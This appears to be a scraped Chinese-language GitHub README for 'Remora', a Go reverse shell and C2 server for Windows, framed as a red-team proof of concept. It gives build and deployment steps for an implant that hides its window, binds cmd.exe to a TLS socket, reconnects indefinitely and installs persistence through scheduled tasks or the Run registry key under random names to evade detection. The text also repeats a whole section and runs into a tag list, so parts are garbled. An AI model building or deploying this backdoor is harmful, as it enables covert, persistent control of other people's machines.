imightbeakira/Remora
GitHub: imightbeakira/Remora
Remora 是一个基于 Go 语言的 Windows 反向 shell 概念验证工具,演示了 TLS 加密 C2 通信、弹性重连和持久化机制的实现方式。
Stars: 5 | Forks: 0
# Remora
Remora – 一个基于 Go 的 Windows 反向 shell
[]()
[]()
[]()
[](LICENSE)
## 📖 Remora 是什么?
**Remora** 是一个用 Go 编写的、针对 Windows 的概念验证反向 shell。
它演示了:
- 基于 TLS 的 **加密 C2**(允许自签名证书)
- **弹性重连** – 指数退避 + 随机抖动
- 通过计划任务或注册表自启动实现 **持久化**
*Remora* 这个名字来源于一种会吸附在宿主身上的鱼类——这反映了其持久化的行为特性。
## 🔎 概述
- **C2 服务器 (`server/`)** – 一个交互式监听器,等待单个连接,提供原生终端 shell,并处理 TLS 加密。
- **Windows shell (`shell/`)** – 一个小型二进制文件,用于回连服务器,生成 `cmd.exe`,安装持久化机制,并使用带有随机抖动的指数退避策略自动重连。
通信通过 TLS 使用自签名证书进行加密。服务器负责将终端设置为原生模式,从而为您提供一个完全交互式的命令提示符。
## 🧠 工作原理
1. **shell** 不断尝试通过 TLS 连接到 C2 服务器(`InsecureSkipVerify: true`)。
2. 连接成功后,它会生成 `cmd.exe`,将其输入/输出绑定到套接字,并隐藏控制台窗口。
3. 第一次成功连接时还会触发持久化机制(见下文)。
4. **服务器** 接受连接,读取 agent 的输出,并将您的本地终端置于原生模式。您输入的每一行内容都会发送到 agent,响应内容将带有彩色提示符打印出来。
5. 当连接断开时,shell 会通过指数退避(从 5 秒开始,上限为 10 分钟)加上随机抖动进行等待,然后无限期地重试。
### 持久化细节
| 方法 | 命令 / 注册表 | 触发条件 |
|--------|--------------------|---------|
| 主要 | `schtasks /create /tn /tr /sc onlogon /f` | 用户登录 |
| 备用 | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` | 用户登录(无需管理员权限) |
这两种方法都使用随机生成的名称,以规避简单的特征检测。
## ⚙️ 配置
### Shell
编辑 `shell/` 中的 **shell 的 `main.go`**:
```
ip = "192.168.184.152" // Change this to your C2 server IP
port = "443" // Change this to your C2 server port
```
### 服务器
服务器会在运行时提示您输入监听端口。
它要求在其工作目录中存在 cert.pem 和 key.pem(按照下文所示生成它们)。
## 🛠️ 构建与运行
### 环境要求
- **Go 1.20+** ([下载](https://go.dev/dl/))
## 步骤
```
# 1. Clone 或下载 repo
git clone https://github.com/imightbeakira/Remora.git
cd Remora
```
### 2. 初始化 Go 模块(如果尚未初始化)
```
go mod init github.com/imightbeakira/Remora
go mod tidy
```
### 3. 生成 TLS 证书
```
cd server
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=localhost"
```
### 4. 运行服务器
```
cd server
go run main.go
```
### 5. 构建 shell(Windows 目标)
```
cd shell
GOOS=windows GOARCH=amd64 go build -ldflags="-H windowsgui" -o shell.exe main.go
```
## 📡 使用
### 启动 C2 服务器
```
cd server
go run main.go
```
### 部署 shell
在目标 Windows 系统上执行 shell.exe。一旦它连接成功,服务器将打印:
- **C2 服务器 (`server/`)** – 一个交互式监听器,等待单个连接,提供原生终端 shell,并处理 TLS 加密。
- **Windows shell (`shell/`)** – 一个小型二进制文件,用于回连服务器,生成 `cmd.exe`,安装持久化机制,并使用带有随机抖动的指数退避策略自动重连。
通信通过 TLS 使用自签名证书进行加密。服务器负责将终端设置为原生模式,从而为您提供一个完全交互式的命令提示符。
## 🧠 工作原理
1. **shell** 不断尝试通过 TLS 连接到 C2 服务器(`InsecureSkipVerify: true`)。
2. 连接成功后,它会生成 `cmd.exe`,将其输入/输出绑定到套接字,并隐藏控制台窗口。
3. 第一次成功连接时还会触发持久化机制(见下文)。
4. **服务器** 接受连接,读取 agent 的输出,并将您的本地终端置于原生模式。您输入的每一行内容都会发送到 agent,响应内容将带有彩色提示符打印出来。
5. 当连接断开时,shell 会通过指数退避(从 5 秒开始,上限为 10 分钟)加上随机抖动进行等待,然后无限期地重试。
### 持久化细节
| 方法 | 命令 / 注册表 | 触发条件 |
|--------|--------------------|---------|
| 主要 | `schtasks /create /tn 标签:EVTX分析, Go语言, IP 地址批量处理, pdftotext, PoC, TGT, TLS加密, 反弹Shell, 反弹连接, 后门, 命令与控制, 安全测试, 安全测试工具, 底层编程, 恶意软件研究, 攻击性安全, 攻防演练, 教育目的, 数据展示, 日志审计, 暴力破解, 概念验证, 注册表自启动, 程序破解, 端点可见性, 红队, 网络安全, 网络通信, 自动化重连, 计划任务, 远程控制, 隐私保护